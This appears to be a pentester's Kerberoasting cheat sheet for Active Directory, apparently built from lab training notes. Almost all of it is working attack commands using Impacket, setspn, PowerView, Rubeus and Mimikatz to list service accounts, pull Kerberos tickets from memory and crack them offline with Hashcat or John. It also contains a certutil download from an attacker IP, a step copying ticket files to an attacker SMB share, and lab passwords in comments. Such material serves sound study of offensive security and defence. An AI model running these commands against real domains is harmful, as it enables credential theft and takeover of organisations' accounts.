Skip to content

Kerberoasting

Depending on your position in a network, this attack can be performed in multiple ways:

  • From a non-domain joined Linux host using valid domain user credentials.
  • From a domain-joined Linux host as root after retrieving the keytab file.
  • From a domain-joined Windows host authenticated as a domain user.
  • From a domain-joined Windows host with a shell in the context of a domain account.
  • As SYSTEM on a domain-joined Windows host.
  • From a non-domain joined Windows host using runas /netonly.

Kerberoasting - from Linux


🔥 Kerberoasting with GetUserSPNs.py

A prerequisite to performing Kerberoasting attacks is either - domain user credentials (cleartext or just an NTLM hash if using Impacket) - a shell in the context of a domain user - or account such as SYSTEM. Once we have this level of access, we can start. We must also know which host in the domain is a Domain Controller, so we can query it.

Listing SPN Accounts with GetUserSPNs.py

Start by just gathering a listing of SPNs in the domain - set of valid domain credentials - IP address of a Domain Controller.

/opt/tools/impacket/examples/GetUserSPNs.py -dc-ip $IP $DOMAIN/$USER:$PASS

Requesting all TGS Tickets (op.1)

Pull all TGS tickets for offline processing using the -request flag. The TGS tickets will be output in a format that can be readily provided to Hashcat or John the Ripper for offline password cracking attempts.

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/<USER-NAME> -request 

Requesting a Single TGS ticket (op.2)

We can also be more targeted and request just the TGS ticket for a specific account. Let's try requesting one for just the sqldev account.

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/<USER-NAME> -request-user <TARGET-USER-NAME>
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/htb-student -request-user SAPService   #Passowrd: Academy_student_AD!
# /opt/tools/impacket/examples/GetUserSPNs.py -dc-ip $IP $DOMAIN/Administrator:'P@$$W0rd' -request-user SQLService

Saving the TGS Ticket to an Output File

To facilitate offline cracking, it is always good to use the -outputfile flag to write the TGS tickets to a file that can then be run using Hashcat on our attack system or moved to a GPU cracking rig.

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/<USER-NAME> -request-user <TARGET-USER-NAME> -outputfile hash.txt
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/htb-student -request-user SAPService -outputfile hash.txt     #Passowrd: Academy_student_AD!

Cracking the Ticket Offline with Hashcat

Here we've written the TGS ticket for the SAPService user to a file named hash.txt. Now we can attempt to crack the ticket offline using Hashcat hash mode 13100.

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

Testing Authentication against a Domain Controller

sudo crackmapexec smb 172.16.5.5 -u <USER-NAME> -p <PASSWORD>
# sudo crackmapexec smb 172.16.5.5 -u SAPService -p !SapperFi2

Kerberoasting - from Windows


🔥 Kerberoasting - Semi Manual method

Listing SPN Accounts with setspn.exe

setspn.exe -Q */*

Requesting all TGS Tickets with setspn.exe (op.1)

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Requesting a Single TGS ticket (op.2)

Using PowerShell, we can request TGS tickets for an account in the shell and load them into memory. Once they are loaded into memory, we can extract them using Mimikatz.

Add-Type -AssemblyName System.IdentityModel
- The Add-Type cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object - The -AssemblyName parameter allows us to specify an assembly that contains types that we are interested in using - System.IdentityModel is a namespace that contains different classes for building security token services.
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
- We'll then use the New-Object cmdlet to create an instance of a .NET Framework object - We'll use the System.IdentityModel.Tokens namespace with the KerberosRequestorSecurityToken class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session.

Extracting Tickets from Memory with Mimikatz

> mimikatz.exe

mimikatz> privilege::debug
mimikatz> base64 /out:true
mimikatz> kerberos::list /export
- If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files.

Preparing the Base64 Blob for Cracking

echo "<base64 blob>" |  tr -d \\n

Placing the Output into a File as .kirbi

cat encoded_file | base64 -d > sqldev.kirbi

Extracting the Kerberos Ticket using kirbi2john.py

python2.7 kirbi2john.py sqldev.kirbi

Modifiying crack_file for Hashcat

Szalek@htb[/htb]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Cracking the Hash with Hashcat

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt

🔥 Kerberoasting - PowerView.ps1

# certutil -urlcache -f http://10.10.14.84/PowerView.ps1 PowerView.ps1
Import-Module .\PowerView.ps1

Using PowerView to Extract TGS Tickets

enumerating SPN accounts* - all info

Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
Get-DomainUser * -spn
enumerating SPN account - name list
Get-DomainUser * -spn | select samaccountname
From here, we could target a specific user and retrieve the TGS ticket in Hashcat format.

Target a Specific User (op.1)

Get-DomainUser -Identity svc_vmwaresso | Get-DomainSPNTicket -Format Hashcat

Target all Users - Exporting to a CSV File (op.2)

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Cracking the Hash with Hashcat

cat hash-raw.txt  |  tr -d \\n > hash.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt 

🔥 Kerberoasting - Rubeus.exe

Stats

We can first use Rubeus to gather some stats.

.\Rubeus.exe kerberoast /stats

Request tickets (op.1)

Use Rubeus to request tickets for accounts with the admincount attribute set to 1.

.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Request ticket (op.2)

.\Rubeus.exe kerberoast /user:svc_vmwaresso /nowrap

Cracking the Ticket with Hashcat & rockyou.txt

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Commands


Command Description
sudo python3 -m pip install . Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host.
GetUserSPNs.py -h Impacket tool used to display the options and functionality of GetUserSPNs.py from a Linux-based host.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday Impacket tool used to get a list of SPNs on the target Windows domain from a Linux-based host.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request Impacket tool used to download/request (-request) all TGS tickets for offline processing from a Linux-based host.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev Impacket tool used to download/request (-request-user) a TGS ticket for a specific user account (sqldev) from a Linux-based host.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (-outputfile sqldev_tgs) linux-based host.
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force Attempts to crack the Kerberos (-m 13100) ticket hash (sqldev_tgs) using hashcat and a wordlist (rockyou.txt) from a Linux-based host.
setspn.exe -Q */* Used to enumerate SPNs in a target Windows domain from a Windows-based host.
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433" PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host.
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* \| Select-String '^CN' -Context 0,1 \| % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } Used to download/request all TGS tickets from a WIndows-based host.
mimikatz # base64 /out:true Mimikatz command that ensures TGS tickets are extracted in base64 format from a Windows-based host.
kerberos::list /export Mimikatz command used to extract the TGS tickets from a Windows-based host.
echo "<base64 blob>" \| tr -d \\n Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host.
cat encoded_file \| base64 -d > sqldev.kirbi Used to output a file (encoded_file) into a .kirbi file in base64 (base64 -d > sqldev.kirbi) format from a Linux-based host.
python2.7 kirbi2john.py sqldev.kirbi Used to extract the Kerberos ticket. This also creates a file called crack_file from a Linux-based host.
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat Used to modify the crack_file for Hashcat from a Linux-based host.
cat sqldev_tgs_hashcat Used to view the prepared hash from a Linux-based host.
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt Used to crack the prepared Kerberos ticket hash (sqldev_tgs_hashcat) using a wordlist (rockyou.txt) from a Linux-based host.
Import-Module .\PowerView.ps1 Get-DomainUser * -spn \| select samaccountname Uses PowerView tool to extract TGS Tickets . Performed from a Windows-based host.
Get-DomainUser -Identity sqldev \| Get-DomainSPNTicket -Format Hashcat PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for Hashcat from a Windows-based host.
Get-DomainUser * -SPN \| Get-DomainSPNTicket -Format Hashcat \| Export-Csv .\ilfreight_tgs.csv -NoTypeInformation Exports all TGS tickets to a .CSV file (ilfreight_tgs.csv) from a Windows-based host.
cat .\ilfreight_tgs.csv Used to view the contents of the .csv file from a Windows-based host.
.\Rubeus.exe Used to view the options and functionality possible with the tool Rubeus. Performed from a Windows-based host.
.\Rubeus.exe kerberoast /stats Used to check the kerberoast stats (/stats) within the target Windows domain from a Windows-based host.
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap Used to request/download TGS tickets for accounts with the admin count set to 1 then formats the output in an easy to view & crack manner (/nowrap) . Performed from a Windows-based host.
.\Rubeus.exe kerberoast /user:testspn /nowrap Used to request/download a TGS ticket for a specific user (/user:testspn) the formats the output in an easy to view & crack manner (/nowrap). Performed from a Windows-based host.
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes PowerView tool used to check the msDS-SupportedEncryptionType attribute associated with a specific user account (testspn). Performed from a Windows-based host.
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt Used to attempt to crack the ticket hash using a wordlist (rockyou.txt) from a Linux-based host .

Notes


list SPN

setspn -T dc1 -Q */*
list SPN
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$searchStr = "LDAP://"
$searchStr += $PDC + "/"
$Name = "DC=$($domainObj.Name.Replace('.',',DC='))"
$searchStr += $Name

$seracher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$searchStr)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry

$seracher.SearchRoot = $objDomain

$seracher.filter = "serviceprincipalname=*"

$items = $seracher.FindAll()

Write-Host "-------------------------"

Foreach($obj in $items) {
    Foreach($prop in $obj.Properties) {
        Write-Host "Display Name:" $prop.displayname
        Write-Host "Serviceprincipal Name:" $prop.serviceprincipalname
    }
    Write-Host "-------------------------"
}
create Service Token for SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSQL/CorpSqlServer.corp.com'
klist
save token to disk
> mimikatz.exe
mimikatz> privilege::debug
mimikatz> kerberos::list /export
copy file to kali
# on kali
/opt/tools/impacket/examples/smbserver.py public .
# on windows
copy '0-00000000-user@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi' \\192.168.111.222\public\
tool:kerberoast - crack .kirbi file
sudo apt install -y kerberoast
python3 /usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt 0-00000000-user@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
tool:john - crack .kirbi file
/opt/tools/kerberoast/kirbi2john.py 0-00000000-user@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt